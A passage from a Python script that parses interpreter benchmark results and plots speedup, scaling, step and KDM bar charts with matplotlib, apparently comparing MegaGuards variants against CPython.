range(len(yaxis_scale_range_list)):\n r = yaxis_scale_range['%s' % yaxis_scale_range_list[i]]\n if yaxis_scale_range_list[i] > m:\n break\n r_param_yaxis[_bench][_param] = r\n\n for _interp in r_benchmarks_normalized:\n for _bench in r_benchmarks_normalized[_interp]:\n for _param in r_benchmarks_normalized[_interp][_bench]:\n yaxis_local_range = r_param_yaxis[_bench][_param]\n yaxis_range_len = len(yaxis_local_range) - 1\n for _step in range(len(r_benchmarks_normalized[_interp][_bench][_param][0])):\n _time = r_benchmarks_normalized[_interp][_bench][_param][0][_step]\n n = _time\n for j in range(yaxis_range_len):\n n = (_time - yaxis_local_range[j])/(yaxis_local_range[j + 1] - yaxis_local_range[j])\n if n > 1 and j < (yaxis_range_len - 1):\n continue\n n = n + j\n break\n r_benchmarks_normalized[_interp][_bench][_param][0][_step] = n\n\n return r_benchmarks_normalized, r_param_yaxis\n\n\ndef plot_steps(benchmarks_origin, all_benchmarks_list_origin, base, interpreter_list, step_str='steps', single_benchmark=None, filename_prefix=''):\n benchmarks = copy.deepcopy(benchmarks_origin)\n all_benchmarks_list = copy.deepcopy(all_benchmarks_list_origin)\n\n legend_num_col = len(interpreter_list)\n legend_num_col = legend_num_col / 2 + legend_num_col % 2\n for _type in benchmarks:\n _timing = 'Steps'\n add_steps_geomean(_type, benchmarks[_type][_timing], all_benchmarks_list[_type][_timing])\n r_benchmarks_normalized, r_param_yaxis = custom_normalization_step(_type, benchmarks, interpreter_list)\n for _bench in all_benchmarks_list[_type][_timing]:\n print(\"%s %s\" % (single_benchmark, _bench))\n if single_benchmark and _bench != single_benchmark:\n continue\n\n _param_axs = {}\n _param_xticks = {}\n for _param in all_benchmarks_list[_type][_timing][_bench]:\n _param_axs[_param] = None\n if not _param_axs:\n continue\n subplots_count = len(_param_axs)\n axs = []\n max_col_subplot = 3\n if subplots_count == 1:\n fig, axs2d = plt.subplots(1, 1, figsize=(8, 4))#, figsize=(2.5 * int(subplots_count / 2), 5))\n axs = [axs2d]\n elif subplots_count <= max_col_subplot:\n # print(subplots_count)\n fig, axs2d = plt.subplots(1, subplots_count)#, figsize=(2.5 * int(subplots_count / 2), 5))\n for i in range(len(axs2d)):\n axs2d[i].axis('off')\n axs += [axs2d[i]]\n else:\n row_count = float(subplots_count)/max_col_subplot\n row_count = int(row_count) if (int(row_count) - row_count) == 0. else (int(row_count) + 1)\n # print(\"%d: %d x %d\" % (subplots_count, row_count, col_count))\n fig, axs2d = plt.subplots(row_count, max_col_subplot)#, figsize=(2.5 * int(subplots_count / 2), 5))\n # print(axs2d)\n for i in range(len(axs2d)):\n for j in range(len(axs2d[i])):\n axs2d[i][j].axis('off')\n axs += [axs2d[i][j]]\n\n fig.subplots_adjust(left=0.06, right=0.98, wspace=0.01, hspace=0.02)\n\n axs_i = 0\n for _param in sorted(_param_axs.keys()):\n axs[axs_i].axis('on')\n _param_axs[_param] = axs[axs_i]\n # axs[axs_i].set_autoscalex_on(False)\n axs_i += 1\n\n # for _interp in benchmarks[_type][_timing]:\n lines = [[], []]\n for _interp_w_name in range(len(interpreter_list)):\n _interp = interpreter_list[_interp_w_name][0]\n if _interp not in benchmarks[_type][_timing]:\n continue\n\n for _param in benchmarks[_type][_timing][_interp][_bench]:\n ax = _param_axs[_param]\n _param_xticks[_param] = [ i+1 for i in range(len(benchmarks[_type][_timing][_interp][_bench][_param][0]))]\n marker = plot_steps_color_hatch_marker[_interp][2]\n color = plot_steps_color_hatch_marker[_interp][0]\n # line = ax.plot(_params, r_bench_params, marker, color=color) # label=_interp\n line, = ax.plot(range(len(_param_xticks[_param])), r_benchmarks_normalized[_interp][_bench][_param][0], marker, color=color) # label=_interp\n lines[0] += [line]\n lines[1] += [interpreter_list[_interp_w_name][1]]\n\n for _param in _param_xticks:\n _params_str = _param_xticks[_param]\n _params_int = []\n for i in range(len(_params_str)):\n _params_int += [int(_params_str[i])]\n _param_xticks[_param] = [_params_int, _params_str]\n\n for _param in sorted(_param_axs.keys()):\n ax = _param_axs[_param]\n # ax.set_xscale('log')\n _params_len = len(_param_xticks[_param][0])\n ax.set_xticks(range(_params_len))\n # ax.set_ylim(-0.5, ax.get_ylim()[1] + 0.5)\n ax.set_xlim(-0.5, _params_len - 0.5)\n ax.set_xticklabels(_param_xticks[_param][1], fontsize='large') # , rotation=45\n # ax.legend(loc='upper left')\n # ax.set_yscale('linear') # 'log'\n ax.set_yticks(range(len(r_param_yaxis[_bench][_param])))\n ax.set_yticklabels(['%s' % x for x in r_param_yaxis[_bench][_param]],fontsize='x-small')\n ax.set_title(_param, fontsize='medium')\n ax.grid(True)\n\n fig.legend(lines[0], lines[1], fontsize='small', ncol=legend_num_col,\n bbox_to_anchor=(0., 1.17, 1., .0),\n loc=9\n # mode=\"expand\"\n )\n fig.text(0.5, -0.02, 'Running steps', fontsize='large', ha='center')\n fig.text(0.00, 0.5, \"Speedup over \" + base, fontsize='large', va='center', rotation='vertical')\n\n # fig.ylabel(\"Speedup over \" + base, fontsize='large')\n filename = filename_prefix+'benchmarks_' + step_str + '_' + _bench\n # benchmarks_images['Steps `' + _type + '` benchmarks chart measuring `' + _timing + '` timing:'] = filename\n benchmarks_images[filename_prefix + ' Steps'] = filename\n fig.savefig(chart_dir + filename + '.png', bbox_inches='tight')\n fig.savefig(chart_dir + filename + '.pdf', format='pdf', bbox_inches='tight')\n plt.close(fig)\n\n\ndef pre_plot_scales_collect_params(_type, _timing, all_benchmarks_list, benchmarks):\n r_bench_params = {}\n r_bench_max = {}\n # p = 5\n for _interp_w_name in range(len(interpreter_list_scales_ordered)):\n _interp = interpreter_list_scales_ordered[_interp_w_name][0]\n r_bench_params[_interp] = {}\n for _bench in benchmarks[_interp]:\n if _bench not in r_bench_max:\n r_bench_max[_bench] = 0.\n\n r_bench_params[_interp][_bench] = []\n _params = all_benchmarks_list[_type][_timing][_bench]\n for _param in _params:\n r_bench_params[_interp][_bench] += [benchmarks[_interp][_bench][_param][0]]\n # if p > 0:\n # p -= 1\n # print(benchmarks[_interp][_bench][_param])\n\n r_bench_max[_bench] = max(r_bench_max[_bench], max(r_bench_params[_interp][_bench]))\n # print(r_bench_max)\n return r_bench_params, r_bench_max\n\n\ndef custom_normalization_scale(r_benchmarks, r_bench_max):\n r_benchmarks_normalized = copy.deepcopy(r_benchmarks)\n r_bench_yaxis = {}\n for _bench in r_bench_max:\n m = r_bench_max[_bench]\n r = yaxis_scale_range['5']\n for i in range(len(yaxis_scale_range_list)):\n r = yaxis_scale_range['%s' % yaxis_scale_range_list[i]]\n if yaxis_scale_range_list[i] > m:\n break\n r_bench_yaxis[_bench] = r\n\n for _interp in r_benchmarks_normalized:\n for _bench in r_benchmarks_normalized[_interp]:\n yaxis_local_range = r_bench_yaxis[_bench]\n yaxis_range_len = len(yaxis_local_range) - 1\n for _param in range(len(r_benchmarks_normalized[_interp][_bench])):\n _time = r_benchmarks_normalized[_interp][_bench][_param]\n n = _time\n for j in range(yaxis_range_len):\n n = (_time - yaxis_local_range[j])/(yaxis_local_range[j + 1] - yaxis_local_range[j])\n if n > 1 and j < (yaxis_range_len - 1):\n continue\n n = n + j\n break\n r_benchmarks_normalized[_interp][_bench][_param] = n\n\n return r_benchmarks_normalized, r_bench_yaxis\n\n\ndef plot_scales(benchmarks, all_benchmarks_list, base, filename_prefix=''):\n\n for _type in benchmarks:\n for _timing in benchmarks[_type]:\n # if _timing == 'Time':\n # continue\n if _timing == 'Steps':\n continue\n if _timing == 'Warmup':\n continue\n _bench_axs = {}\n _bench_xticks = {}\n for _bench in all_benchmarks_list[_type][_timing]:\n _bench_axs[_bench] = None\n if not _bench_axs:\n continue\n subplots_count = len(_bench_axs)\n # print(subplots_count)\n fig, axs2d = plt.subplots(2, int(subplots_count / 2), figsize=(2.5 * int(subplots_count / 2), 4))\n fig.subplots_adjust(left=0.08, right=0.98, wspace=0.3, hspace=0.5)\n axs = []\n for i in range(len(axs2d)):\n for j in range(len(axs2d[i])):\n axs += [axs2d[i][j]]\n\n axs_i = 0\n for _bench in sorted(_bench_axs.keys()):\n _bench_axs[_bench] = axs[axs_i]\n # axs[axs_i].set_autoscalex_on(False)\n axs_i += 1\n\n r_benchmarks, r_bench_max = pre_plot_scales_collect_params(_type, _timing, all_benchmarks_list, benchmarks[_type][_timing])\n r_benchmarks_normalized, r_bench_yaxis = custom_normalization_scale(r_benchmarks, r_bench_max)\n\n # for _interp in benchmarks[_type][_timing]:\n lines = [[], []]\n for _interp_w_name in range(len(interpreter_list_scales_ordered)):\n _interp = interpreter_list_scales_ordered[_interp_w_name][0]\n for _bench in benchmarks[_type][_timing][_interp]:\n # if _bench not in _bench_xticks:\n # _bench_xticks[_bench] = []\n ax = _bench_axs[_bench]\n _params = all_benchmarks_list[_type][_timing][_bench]\n # print(_params)\n _bench_xticks[_bench] = _params\n # r_bench_params = pre_plot_scales_collect_params(_params, benchmarks[_type][_timing][_interp][_bench])\n marker = plot_scales_color_hatch_marker[_interp][2]\n color = plot_scales_color_hatch_marker[_interp][0]\n # line = ax.plot(_params, r_bench_params, marker, color=color) # label=_interp\n line, = ax.plot(range(len(_params)), r_benchmarks_normalized[_interp][_bench], marker, color=color) # label=_interp\n lines[0] += [line]\n lines[1] += [interpreter_list_scales_ordered[_interp_w_name][1]]\n\n for _bench in _bench_xticks:\n _params_str = _bench_xticks[_bench]\n _params_int = []\n for _param in range(len(_params_str)):\n _params_int += [_params_str[_param]]\n _bench_xticks[_bench] = [_params_int, _params_str]\n\n for _bench in sorted(_bench_axs.keys()):\n ax = _bench_axs[_bench]\n # ax.set_xscale('log')\n _params_len = len(_bench_xticks[_bench][0])\n ax.set_xticks(range(_params_len))\n # ax.set_ylim(-0.5, ax.get_ylim()[1] + 0.5)\n ax.set_xlim(-0.5, _params_len - 0.5)\n ax.set_xticklabels(_bench_xticks[_bench][1], rotation=45, fontsize='xx-small')\n # ax.legend(loc='upper left')\n # ax.set_yscale('linear') # 'log'\n ax.set_yticks(range(len(r_bench_yaxis[_bench])))\n yticklabels_str = ['%s' % x for x in r_bench_yaxis[_bench]]\n\n ax.set_yticklabels(yticklabels_str,fontsize='xx-small')\n ax.set_title(_bench, fontsize='medium')\n ax.grid(True)\n\n fig.legend(lines[0], lines[1], fontsize='medium', ncol=6,\n bbox_to_anchor=(0., 1.15, .98, .0),\n loc=9\n # mode=\"expand\"\n )\n fig.text(0.5, -0.05, 'Benchmarks input sizes', ha='center')\n fig.text(0.04, 0.5, \"Speedup over \" + base, fontsize='large', va='center', rotation='vertical')\n\n # fig.ylabel(\"Speedup over \" + base, fontsize='large')\n filename = filename_prefix+'benchmarks_scales_' + _type + '_' + _timing\n # benchmarks_images['Scale `' + _type + '` benchmarks chart measuring `' + _timing + '` timing:'] = filename\n benchmarks_images[filename_prefix + ' Scale'] = filename\n fig.savefig(chart_dir + filename + '.png', bbox_inches='tight')\n fig.savefig(chart_dir + filename + '.pdf', format='pdf', bbox_inches='tight')\n plt.close(fig)\n\n\ndef plot_bar_speedups_dm(r_benchmarks_normalized, r_benchmarks_ci_normalized, benchmarks, all_benchmarks_list, _type, _timing, small=True, filename_prefix=''):\n size = len(all_benchmarks_list)\n size = (12, 4)\n fig = plt.figure(figsize=size) #, dpi=80)\n ax = fig.add_subplot(1, 1, 1)\n\n ax.xaxis.tick_top()\n ax.tick_params(labeltop='off')\n ax.xaxis.tick_bottom()\n ax.spines['top'].set_visible(False)\n ly = len(all_benchmarks_list)\n xticks = np.arange(1, ly + 1)\n r_benchmarks_dm = []\n r_benchmarks_dm_ci = []\n for i in range(len(benchmarks['MG-GPU'])):\n r_benchmarks_dm += [benchmarks['MG-GPU'][i] / benchmarks['MG-NoDM'][i]]\n\n r = ax.bar( xticks, r_benchmarks_dm, .5, align='center',\n color='k')\n\n ax.set_xticks(xticks)\n\n if small:\n ax.set_xticklabels(all_benchmarks_list, fontsize='small')#, rotation=45, horizontalalignment='right')\n else:\n ax.set_xticklabels(all_benchmarks_list, fontsize=17)#, rotation=45)\n\n (y_bottom, y_top) = ax.get_ylim()\n y_height = y_top - y_bottom\n y_height = np.log2(y_height)\n\n def autolabel(rects, y_height):\n i = 0\n for rect in rects:\n height = rect.get_height()\n p_height = np.log2(height) / (y_height)\n max_hight = 0.90 if small else 0.90\n label_rotation ='horizontal'\n\n if small:\n fontsize='x-small'\n else:\n fontsize='large'\n\n ax.text( rect.get_x() + rect.get_width()/2.,\n 1.02*height,\n '%.2f' % r_benchmarks_dm[i],\n ha='center',\n va='bottom',\n fontsize=fontsize, # fontsize='medium'\n fontweight='bold',\n rotation=label_rotation)\n i += 1\n autolabel(r, y_height)\n\n ax.set_xlim(.3, ly + .7)\n ax.yaxis.grid(True)\n ax.set_ylabel(\"Speedup over MegaGuards-GPU\\nwithout KDM\", fontsize='medium')\n ax.set_yscale('symlog', basey=2)\n ax.tick_params(direction='out')\n # ax.set_yticks([0, 1, 2, 4, 8, 16, 32])\n # ax.set_yticklabels([0, 1, 2, 4, 8, 16, 32, 64],fontsize=11)\n\n fig.subplots_adjust(left=0.05)\n filename = filename_prefix+'benchmarks_bar_KDM_' + _type + '_' + _timing\n benchmarks_images[filename_prefix + ' KDM Optimization'] = filename\n fig.savefig(chart_dir + filename + '.png', bbox_inches='tight')\n fig.savefig(chart_dir + filename + '.pdf', format='pdf', bbox_inches='tight')\n plt.close(fig)\n\n\ndef plot_bar_speedups(ax, r_benchmarks_normalized, r_benchmarks_ci_normalized, benchmarks, all_benchmarks_list, interpreter_list, color_hatch, witdh, small=True):\n ax.xaxis.tick_top()\n ax.tick_params(labeltop='off')\n ax.xaxis.tick_bottom()\n ax.spines['top'].set_visible(False)\n ly = len(all_benchmarks_list)\n xticks = np.arange(1, ly + 1)\n # ax.bar(xticks, y, align='center')\n c_witdh = 0\n rects = [[], [], []]\n interpreter_list_ordered_filtered = []\n for _interp in interpreter_list_ordered:\n if _interp[0] in interpreter_list:\n interpreter_list_ordered_filtered += [_interp]\n\n for i in range(len(interpreter_list_ordered_filtered)):\n s = interpreter_list_ordered_filtered[i][0]\n\n r = ax.bar( xticks + c_witdh, r_benchmarks_normalized[s], witdh, align='center',\n yerr=r_benchmarks_ci_normalized[s], capsize=1, ecolor='black',\n color=color_hatch[s][0], hatch=color_hatch[s][1])\n rects[0] += [r]\n rects[1] += [s]\n rects[2] += [interpreter_list_ordered_filtered[i][1]]\n c_witdh += witdh\n\n ax.set_xticks(xticks + c_witdh/2.3)\n\n if small:\n ax.set_xticklabels(all_benchmarks_list, fontsize=17)#, rotation=45)\n else:\n ax.set_xticklabels(all_benchmarks_list, fontsize=17)#, rotation=45)\n\n (y_bottom, y_top) = ax.get_ylim()\n y_height = y_top - y_bottom\n y_height = np.log2(y_height)\n\n def autolabel(rects, s, y_height):\n i = 0\n for rect in rects:\n height = rect.get_height()\n p_height = np.log2(height) / (y_height)\n max_hight = 0.90 if small else 0.90\n\n label_rotation ='vertical'\n\n if small:\n fontsize='small'\n else:\n fontsize='large'\n\n ax.text( rect.get_x() + rect.get_width()/2.,\n 1.02*height,\n '%.2f' % benchmarks[s][i],\n ha='center',\n va='bottom',\n fontsize=fontsize, # fontsize='medium'\n fontweight='bold',\n rotation=label_rotation)\n i += 1\n for r, s in zip(rects[0], rects[1]):\n autolabel(r, s, y_height)\n\n if small:\n ax.legend(rects[0], rects[2], fontsize='large', ncol=5,\n bbox_to_anchor=(0., 1.12, 1., .102), loc=3, mode=\"expand\")\n else:\n ax.legend(rects[0], rects[2], fontsize='large', ncol=5, mode=\"expand\")\n\n ax.set_xlim(.7, ly + 1)\n ax.yaxis.grid(True)\n\ndef custom_normalization(r_benchmarks, yaxis_range):\n r_benchmarks_normalized = copy.deepcopy(r_benchmarks)\n yaxis_range_len = len(yaxis_range) - 1\n for _interp in r_benchmarks_normalized:\n for i in range(len(r_benchmarks_normalized[_interp])):\n _time = r_benchmarks_normalized[_interp][i]\n n = _time\n for j in range(yaxis_range_len):\n n = (_time - yaxis_range[j])/(yaxis_range[j + 1] - yaxis_range[j])\n if n > 1 and j < (yaxis_range_len - 1):\n continue\n n = n + j\n break\n r_benchmarks_normalized[_interp][i] = n\n return r_benchmarks_normalized\n\n\ndef custom_normalization_ci(r_benchmarks_ci, r_benchmarks_normalized, r_benchmarks, yaxis_range):\n r_benchmarks_ci_normalized = copy.deepcopy(r_benchmarks_ci)\n yaxis_range_len = len(yaxis_range) - 1\n for _interp in r_benchmarks_ci_normalized:\n for i in range(len(r_benchmarks_ci_normalized[_interp])):\n _ci = r_benchmarks_ci_normalized[_interp][i]\n _time = r_benchmarks[_interp][i]\n n = _ci\n for j in range(yaxis_range_len):\n n = ((_ci + _time) - yaxis_range[j])/(yaxis_range[j + 1] - yaxis_range[j])\n if n > 1 and j < (yaxis_range_len - 1):\n continue\n n = n + j\n break\n r_benchmarks_ci_normalized[_interp][i] = n - r_benchmarks_normalized[_interp][i]\n return r_benchmarks_ci_normalized\n\ndef pre_process_plot(benchmarks, all_benchmarks_list, _type, use_largest=True):\n r_benchmarks = {}\n r_benchmarks_ci = {}\n r_benchmarks_list = {}\n is_bench_list_complete = False\n for _interp in benchmarks:\n if _interp not in r_benchmarks:\n r_benchmarks[_interp] = []\n r_benchmarks_ci[_interp] = []\n r_benchmarks_list = []\n for _bench in sorted(all_benchmarks_list):\n c_bench_list = []\n idx_bench = int( len(all_benchmarks_list[_bench]) / 2 )\n _bench_params = all_benchmarks_list[_bench]\n\n if not use_largest:\n for idx in range(len(_bench_params)):\n _param = _bench_params[idx]\n r_benchmarks[_interp] += [benchmarks[_interp][_bench][_param][0]]\n r_benchmarks_ci[_interp] += [benchmarks[_interp][_bench][_param][1]]\n\n c_bench_list += [(_param + '\\n' + _bench)]\n\n else:\n _largest_parm = benchmarks_list[_type][1][_bench][-2]\n r_benchmarks[_interp] += [benchmarks[_interp][_bench][_largest_parm][0]]\n r_benchmarks_ci[_interp] += [benchmarks[_interp][_bench][_largest_parm][1]]\n c_bench_list += [_bench]\n if not is_bench_list_complete:\n r_benchmarks_list += c_bench_list\n\n # geomean\n r_benchmarks[_interp] += [geomean(r_benchmarks[_interp])]\n r_benchmarks_ci[_interp] += [geomean(r_benchmarks_ci[_interp])]\n print('%s geomean: %f (%.3f)' % (_interp, r_benchmarks[_interp][-1], r_benchmarks_ci[_interp][-1]))\n r_benchmarks_list += ['GeoMean']\n r_benchmarks_normalized = r_benchmarks#custom_normalization(r_benchmarks, yaxis_range)\n r_benchmarks_ci_normalized = r_benchmarks_ci#custom_normalization_ci(r_benchmarks_ci, r_benchmarks_normalized, r_benchmarks, yaxis_range)\n return r_benchmarks_normalized, r_benchmarks_ci_normalized, r_benchmarks, r_benchmarks_list\n\n# yaxis_range = [0.001, .1, 1, 2, 5, 10, 20, 100, 200, 300, 400]\nyaxis_range_001_5 = [0.001, .1, 1, 2, 5]\nyaxis_range_10_100 = [i for i in range(10, 100, 10)]\nyaxis_range_100_350 = [i for i in range(100, 330, 10)]\nyaxis_range = yaxis_range_001_5 + yaxis_range_10_100 + yaxis_range_100_350\n\nyaxis_range_str = [ '%s' % i for i in yaxis_range_001_5] + [ '%s' % i for i in yaxis_range_10_100] + [ '%s' % i if (i % 50) == 0 else '' for i in yaxis_range_100_350]\n# yaxis_range_str = [0.001, .1, 1, 2, 5] + [i for i in range(10, 400, 10)]\n\ndef process_plot(benchmarks, all_benchmarks_list, interpreter_list, color_hatch_marker, base, only_dm=False, filename_prefix=''):\n for _type in benchmarks:\n for _timing in benchmarks[_type]:\n if _timing == 'Steps':\n continue\n if _timing == 'Warmup':\n continue\n r_benchmarks_normalized, r_benchmarks_ci_normalized, r_benchmarks, r_bench_list = pre_process_plot(benchmarks[_type][_timing], all_benchmarks_list[_type][_timing], _type)\n # markdown_overall_speedups(_type, _timing, r_benchmarks, benchmarks_stats_types, benchmarks_stats_overall)\n size = len(r_bench_list)\n size = (max(size * 2, 8), min(size, 7))\n fig = plt.figure(figsize=size) #, dpi=80)\n ax = fig.add_subplot(1, 1, 1)\n # interpreter_list.remove(base)\n # r_benchmarks_normalized.pop(base)\n width = 1. / (len(interpreter_list) + 2) # +1 for spacing and -1 for base\n plot_bar_speedups(ax, r_benchmarks_normalized, r_benchmarks_ci_normalized, r_benchmarks, r_bench_list, interpreter_list, color_hatch_marker, width)\n if 'MG-GPU' in interpreter_list and 'MG-NoDM' in interpreter_list and only_dm:\n plot_bar_speedups_dm(r_benchmarks_normalized, r_benchmarks_ci_normalized, r_benchmarks, r_bench_list, _type, _timing, filename_prefix=filename_prefix)\n continue\n # ax.set_xlabel(\"Benchmarks (\" + _type + \") (normalized to \" + base + \")\")\n ax.set_ylabel(\"Speedup over \" + base, fontsize='large')\n ax.set_yscale('symlog', basey=2)\n ax.tick_params(direction='out')\n # ax.set_yticks(range(len(yaxis_range)))\n # ax.set_yticks([0, 1, 2, 4, 8, 16])\n # ax.set_yticklabels([0, 1, 2, 4, 8, 16],fontsize=15)\n\n fig.subplots_adjust(left=0.03)\n filename = filename_prefix+'benchmarks_bar_' + _type + '_' + _timing\n # benchmarks_images['Bar `' + _type + '` benchmarks measuring `' + _timing + '` timing:'] = filename\n benchmarks_images[filename_prefix + ' Speedups'] = filename\n fig.savefig(chart_dir + filename + '.png', bbox_inches='tight')\n fig.savefig(chart_dir + filename + '.pdf', format='pdf', bbox_inches='tight')\n plt.close(fig)\n\n\ndef normalize_to_base(b, t_list):\n b = b if b > 0.001 else 0.001 # in case it was too fast\n s = []\n for t in t_list:\n t = t if t > 0.001 else 0.001 # in case it was too fast\n t = b / t\n s += [float((\"%.5f\" % t))]\n return s\n\ndef std_deviation(s):\n return np.array(s).std()\n\ndef std_error(s):\n return np.array(s).std()/math.sqrt(len(s))\n\ndef confidence_interval(s):\n z_critical = stats.norm.ppf(q = 0.95)\n return z_critical * std_error(s)\n\ndef error_bar_method(s):\n return std_error(s)\n # return std_deviation(s)\n # return confidence_interval(s)\n\ndef calculate_speedup(b, runs, is_list, is_base=False):\n if is_list:\n _err_bar = []\n _s = []\n for i in range(len(b)):\n _b = geomean(b[i])\n # print(runs)\n _s += [normalize_to_base(_b, runs[i])]\n _err_bar += [error_bar_method(_s[i])]\n if is_base:\n _s[i] = 1.\n else:\n _s[i] = geomean(_s[i])\n return _s, _err_bar\n else:\n _b = geomean(b)\n _s = normalize_to_base(_b, runs)\n _err_bar = error_bar_method(_s)\n if is_base:\n _s = 1.\n else:\n _s = geomean(_s)\n return _s, _err_bar\n\ndef do_speedups(benchmarks, base='CPython'):\n benchmarks_speedups = {}\n is_steps = False\n for _type in benchmarks:\n # print(_type)\n for _timing in benchmarks[_type]:\n # print(_timing)\n if _timing == \"Steps\":\n is_steps = True\n # if _timing == 'Warmup':\n # continue\n for _interp in benchmarks[_type][_timing]:\n if _interp == base:\n continue\n\n for _bench in benchmarks[_type][_timing][_interp]:\n for _param in benchmarks[_type][_timing][_interp][_bench]:\n b = benchmarks[_type][_timing][ base ][_bench][_param]\n runs = benchmarks[_type][_timing][_interp][_bench][_param]\n s, err_bar = calculate_speedup(b, runs, is_steps)\n benchmarks[_type][_timing][_interp][_bench][_param] = [ s, err_bar ]\n # print('%s benchname: %s Time: %.2f (%.2f)' % (_interp, _bench, benchmarks[_type][_timing][_interp][_bench][_param][0], benchmarks[_type][_timing][_interp][_bench][_param][1]))\n\n\n # set base timing to 1.0x\n _interp = base\n for _bench in benchmarks[_type][_timing][_interp]:\n for _param in benchmarks[_type][_timing][_interp][_bench]:\n b = benchmarks[_type][_timing][ base ][_bench][_param]\n runs = benchmarks[_type][_timing][_interp][_bench][_param]\n s, err_bar = calculate_speedup(b, runs, is_steps, True)\n benchmarks[_type][_timing][_interp][_bench][_param] = [ s, err_bar ]\n\n is_steps = False\n\n # benchmarks[_type][_timing].pop(base)\n\ndef subtract_data_transfer(profile_data_single_core, benchmarks, new_single_core_str):\n _interp_cpu1 = 'MG-CPU1'\n for _type in benchmarks:\n for _timing in benchmarks[_type]:\n _result = benchmarks[_type][_timing][_interp_cpu1]\n _result = copy.deepcopy(_result)\n benchmarks[_type][_timing][new_single_core_str] = _result\n\n for _single_bench in profile_data_single_core:\n _sb_param = _single_bench.split('.')\n _sb = _sb_param[0]\n _param = _sb_param[1]\n for i in range(len(benchmarks[_type][_timing][new_single_core_str][_sb][_param])):\n benchmarks[_type][_timing][new_single_core_str][_sb][_param][i] -= profile_data_single_core[_single_bench][i]\n\n\ndef do_geomean(benchmarks_pure):\n benchmarks = copy.deepcopy(benchmarks_pure)\n\n for _type in benchmarks:\n for _timing in benchmarks[_type]:\n for _interp in benchmarks[_type][_timing]:\n for _bench in benchmarks[_type][_timing][_interp]:\n for _param in benchmarks[_type][_timing][_interp][_bench]:\n if isinstance(benchmarks[_type][_timing][_interp][_bench][_param][0], list):\n _runs = benchmarks[_type][_timing][_interp][_bench][_param]\n # _steps = [[_runs[i][j] for j in range(_run[i])] for i in range(len(_runs))]\n _steps = [ geomean(benchmarks[_type][_timing][_interp][_bench][_param][i]) for i in range(len(_runs))]\n benchmarks[_type][_timing][_interp][_bench][_param] = _steps\n else:\n g = geomean(benchmarks[_type][_timing][_interp][_bench][_param])\n benchmarks[_type][_timing][_interp][_bench][_param] = g\n\n return benchmarks\n\ndef _read_results(systems_list, selected_benchmarks_list):\n global signed_date\n\n interpreter_list = []\n color_hatch_marker = {}\n ch = 0\n benchmarks = {}\n all_benchmarks_list = {}\n results_list = os.listdir(machine_results_dir)\n for f in sorted(results_list):\n if f == 'machine.json' or not f.endswith('.json'):\n continue\n\n result_tag = f.replace('.json','').split('-')\n # _interp = result_tag[1] # ZipPy\n _ver = result_tag[0] # version\n _type = result_tag[-5] + '-' + result_tag[-4] # normal, micro,..\n _timing = result_tag[-3] # peak\n _run = result_tag[-1] # run #\n _commit = ''\n\n if 'profile' in _run:\n continue\n\n with open(machine_results_dir + '/' + f) as benchmark_file:\n bench_json = json.load(benchmark_file)\n # if 'commit_hash' not in bench_json or bench_json['commit_hash'] != commit_hash:\n # continue\n\n _commit = bench_json['commit_hash']\n _interp = str(bench_json['params']['interpreter'])\n if systems_list:\n if _interp not in systems_list:\n continue\n\n if signed_date == '':\n signed_date = ' (revision ' + commit_hash + ')'\n date = bench_json['date']\n date = datetime.datetime.fromtimestamp(int(date) / 1e3)\n signed_date = date.strftime(\"%Y-%d-%m %H:%M:%S\") + signed_date\n\n if _type not in benchmarks:\n benchmarks[_type] = {}\n benchmarks[_type]['Warmup'] = {}\n benchmarks[_type]['Time'] = {}\n benchmarks[_type]['Steps'] = {}\n all_benchmarks_list[_type] = {}\n all_benchmarks_list[_type]['Warmup'] = {}\n all_benchmarks_list[_type]['Time'] = {}\n all_benchmarks_list[_type]['Steps'] = {}\n\n\n if _interp not in interpreters_versions:\n interpreters_versions[_interp] = _ver\n\n if _interp not in benchmarks[_type]['Warmup']:\n benchmarks[_type]['Warmup'][_interp] = {}\n benchmarks[_type]['Time'][_interp] = {}\n benchmarks[_type]['Steps'][_interp] = {}\n\n for _single_bench in bench_json['results']:\n _sb = str(_single_bench.replace( _type + '.', ''))\n\n if _sb in blacklist_bench:\n continue\n\n if selected_benchmarks_list:\n if _sb not in selected_benchmarks_list:\n continue\n\n if _sb not in all_benchmarks_list[_type]['Warmup']:\n all_benchmarks_list[_type]['Warmup'][_sb] = []\n all_benchmarks_list[_type]['Time'][_sb] = []\n all_benchmarks_list[_type]['Steps'][_sb] = [] # []\n\n for i in range(len(bench_json['results'][_single_bench]['params'][0])):\n _param = str(bench_json['results'][_single_bench]['params'][0][i])\n _time = bench_json['results'][_single_bench]['result'][i]\n if _time == None:\n continue\n\n if _sb in blacklist_bench_param and _param in blacklist_bench_param[_sb]:\n continue\n\n if _param not in all_benchmarks_list[_type]['Warmup'][_sb]:\n all_benchmarks_list[_type]['Warmup'][_sb] += [_param]\n all_benchmarks_list[_type]['Time'][_sb] += [_param]\n all_benchmarks_list[_type]['Steps'][_sb] += [_param]\n\n if _sb not in benchmarks[_type]['Warmup'][_interp]:\n benchmarks[_type]['Warmup'][_interp][_sb] = {}\n benchmarks[_type]['Time'][_interp][_sb] = {}\n benchmarks[_type]['Steps'][_interp][_sb] = {}\n\n _time = [float(_t) for _t in _time]\n if _param not in benchmarks[_type]['Warmup'][_interp][_sb]:\n benchmarks[_type]['Warmup'][_interp][_sb][_param] = []\n benchmarks[_type]['Time'][_interp][_sb][_param] = []\n benchmarks[_type]['Steps'][_interp][_sb][_param] = [[] for _t in range(len(_time))]\n\n benchmarks[_type]['Warmup'][_interp][_sb][_param] += [_time[0]]\n benchmarks[_type]['Time'][_interp][_sb][_param] += [min(_time)]\n for _t in range(len(_time)):\n benchmarks[_type]['Steps'][_interp][_sb][_param][_t] += [_time[_t]]\n\n\n if _interp not in interpreter_list:\n interpreter_list += [_interp]\n color_hatch_marker[_interp] = interpreter_color_hatch_marker[_interp]\n ch += 1\n\n if debug:\n print(\"{0}: {1} -- type: {2} timing: {3} --run {4} --commit {5}\".format(_interp, _ver, _type, _timing, _run, _commit))\n\n return interpreter_list, color_hatch_marker, benchmarks, all_benchmarks_list\n\n\ndef plot_stack_bars(legends_names, benchmarks, total_times, profile_data, filename_prefix=''):\n # print(legends_names)\n # print(benchmarks)\n # print(profile_data)\n\n f, ax = plt.subplots(1, figsize=(12,5))\n\n # Set bar width at 1\n bar_width = .25\n\n # positions of the left bar-boundaries\n bar_l_1 = [i for i in range(len(benchmarks))]\n bar_l_2 = [i + bar_width + .1 for i in range(len(benchmarks))]\n\n # positions of the x-axis ticks (center of the bars as bar labels)\n # tick_pos = [(i + j) / 2 for i,j in zip(bar_l_1, bar_l_2)]\n tick_pos = [i+(bar_width) for i in bar_l_1]\n\n 